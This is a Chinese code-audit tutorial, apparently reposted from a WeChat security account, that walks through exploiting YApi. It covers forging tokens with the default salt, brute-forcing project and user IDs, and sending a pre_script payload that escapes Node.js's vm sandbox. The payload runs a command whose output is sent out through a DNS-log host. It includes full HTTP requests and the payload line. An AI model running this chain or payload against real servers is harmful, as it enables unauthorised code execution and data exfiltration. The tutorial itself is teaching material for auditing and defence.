书接上回
代码审计公开课|yapi代码审计到rce(上)
0x04 token的正确打开方式
我们知道,token是一种免密登陆的凭据。持有token的访问者,可以访问特定的接口。
但是登陆后台发现,展示的token与我们注入得到的并不一样,与数据库中的值对不上。
原因就在我们一开始忽略没讲的parseToken方法里面
当程序拿到传递过来的token后,会先进行一次aseDecode并且从中获取uid后才能正确确权。
也就是,如果传入的是一个未加密的token,那么uid就是默认的99999,并且用户权限是member,而不是uid所对应的用户权限(这会导致后面对一些项目没有权限)。
所以我们必须自己设置uid。一般采用的方法是爆破。
并且从这里我们可以看到,在不做特殊处理的情况下,默认的加密密钥是
const defaultSalt = 'abcde';
我们按原样加密就好了
因为我们是代码审计,自己能看到数据库,所以我就不爆破了,直接填11就好了。此时,访问就正常了。
剩下的就是按部就班的爆破利用,不涉及很多的原理讲解,我们快速过一下。
具体的可以参考https://raw.githubusercontent.com/vulhub/vulhub/master/yapi/mongodb-inj/poc.py 这个poc里面的内容,总结步骤就是
/api/project/get 通过修改参数,爆破token对应的项目所属的用户的uid
/api/project/get 通过修改参数,爆破token对应的项目project_id
/api/project/up 通过修改参数,持有项目的project_id和token,对该项目的“请求配置”进行设置(录入沙盒逃逸的poc)
/api/open/run_auto_test 通过修改参数,自动运行所有的测试集(运行poc)
0x05 演示
环境准备
1.我们先登录管理员账号,添加一个项目。
添加一个接口,并将该接口添加到测试集
进入设置页面,查看token配置。这里有一个坑点,就是一个yapi项目是可以没有token的,默认就是没有token,必须用户首先手动点进token配置这一页才会自动创建一个token。
这样环境就准备好了。
我们知道,yapi是一个接口管理平台,它的日常业务就是创建项目、管理接口、并用来进行手动或者自动的测试,所以正常我们遇到一个项目,一般而言这个基础环境都是配置好的。
利用演示
注入得到token
爆破项目project_id,其实就是遍历,项目存在的时候会显示“没有权限”
http://127.0.0.1:3000/api/project/get?id=35&token=0c15c1253680cdfdc062
然后再爆破uid(同时也可以爆破出该用户有权限的项目)
加密token原文,但是加密的时候要进行爆破,其实就是把uid从1-200进行加密,然后遍历。我们这边直接看就好了。
得到加密后的token
给项目添加请求参数处理脚本
利用前
POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,de;q=0.8
If-Modified-Since: Tue, 07 Feb 2023 12:12:34 GMT
Connection: close
Content-Length: 230
id=35&token=d54892c280d0d32a15330606c8f66b6b20a84041e35e29c8702bddce48bba97e&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping `whoami`.xxoo.jkaw02.dnslog.cn')
这样就把我们的沙盒逃逸的payload注入到请求前的参数处理脚本里面了。
调用脚本
其实就是运行测试集,但是我们事先并不知道测试集的id是多少。所以只能爆破cid(测试集id)
GET /api/open/run_auto_test?id=11&token=d54892c280d0d32a15330606c8f66b6b20a84041e35e29c8702bddce48bba97e HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,de;q=0.8
If-Modified-Since: Tue, 07 Feb 2023 12:12:34 GMT
Connection: close
这样,当测试集运行时,就会触发我们的沙盒逃逸脚本,然后rce
4.沙盒逃逸到rce
大家也注意到了,我们刚才有个点没有提及。就是我们说给项目新增了一个脚本,该脚本能够进行沙盒逃逸来rce。那么具体是什么意思呢
this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping `whoami`.xxoo.jkaw02.dnslog.cn')
其实这与yapi的关系不大了,是nodejs的vm模块出现的问题。我们给大家大致讲讲。
通过跟踪runAutoTest的逻辑,我们可以找到最终是如何调用沙箱的
runAutoTest
handleTest
crossRequest
sandbox
sandboxByNode
在crossRequest里面的逻辑是这样的
if (preScript) {
context = await sandbox(context, preScript);
defaultOptions.url = options.url = URL.format({
protocol: urlObj.protocol,
host: urlObj.host,
query: context.query,
pathname: context.pathname
});
defaultOptions.headers = options.headers = context.requestHeader;
defaultOptions.data = options.data = context.requestBody;
}
可以看到将我们的脚本丢进了sandbox函数
然后sandbox又调用了sandboxByNode
function sandboxByNode(sandbox = {}, script) {
const vm = require('vm');
script = new vm.Script(script);
const context = new vm.createContext(sandbox);
script.runInContext(context, {
timeout: 10000
});
return sandbox;
}
简单一句话,将我们的脚本丢进了vm沙箱进行执行。
所以接下来我们讲解的就是跟vm沙箱相关的知识。
这一块给大家推荐一个学习资料
关于沙箱的概念
默认的作用域
global作用域内的符号是全局可用的,任何一个上下文都可以用。
比如y1的作用域引入了y2这个包,它可以引用的符号,必须在y2中显式导出。
沙箱的作用域
vm库里面有好几个api,不同api会形成的作用域也不同。
-
vm.runinThisContext(code)
:在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。
在这种情况下其实与默认的作用域是一样的。
-
vm.createContext([sandbox])
:在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。vm.runInContext(code, contextifiedSandbox[, options])
:参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
这种是比较常见的调用方式
这种形式下,sandbox所处在的作用域就与global没有包含关系了。sandbox此时拿到全局对象都是在v8沙箱中的。
yapi的作用域
所以回到我们的sandboxByNode
function sandboxByNode(sandbox = {}, script) {
const vm = require('vm');
script = new vm.Script(script); //将脚本编译但是不执行
const context = new vm.createContext(sandbox); //创建沙箱上下文context,引入的符号中不包含process
script.runInContext(context, { //在沙箱上下文中执行脚本
timeout: 10000
});
return sandbox;
}
我们来一步一步拆解,这里复习一个概念。大家学c的时候,肯定学过参数的传递分为值传递还是指针传递。
对于对象这种复杂结构,一般都是指针传递(引用传递)。
类似的,nodejs里面也一样。
this //当前上下文,其实就是createContext的参数,也就是sandbox这个对象,该对象因为是引用传递,所以它的作用域不在沙箱中
.constructor //sandbox对象的构造器,是一个Object constructor结构,实际上是一个Funtion对象(沙箱外)
.constructor //sandbox对象的构造器的构造器,也就是Funtion对象的构造器(沙箱外)
("return process") //自定义函数实现为"return process",
() //调用Funtion对象的构造器,并且实现为"return process" --》返回process全局对象
.mainModule.require('child_process') //通过require引入child_process模块 process..mainModule.require('child_process').exec('whoami')
.exec('whoami') //执行命令
关于nodejs下vm沙箱、vm2沙箱的逃逸,知识点还有很多,远不是我们这小半节课可以讲完的,这里只是给师傅们讲了一个最简单的案例。后面如果内部培训学员呼声比较多的话,我们可以考虑在二期培训里面作为课程来讲解。
原文始发于微信公众号(dada安全研究所):代码审计公开课|yapi代码审计到rce(下)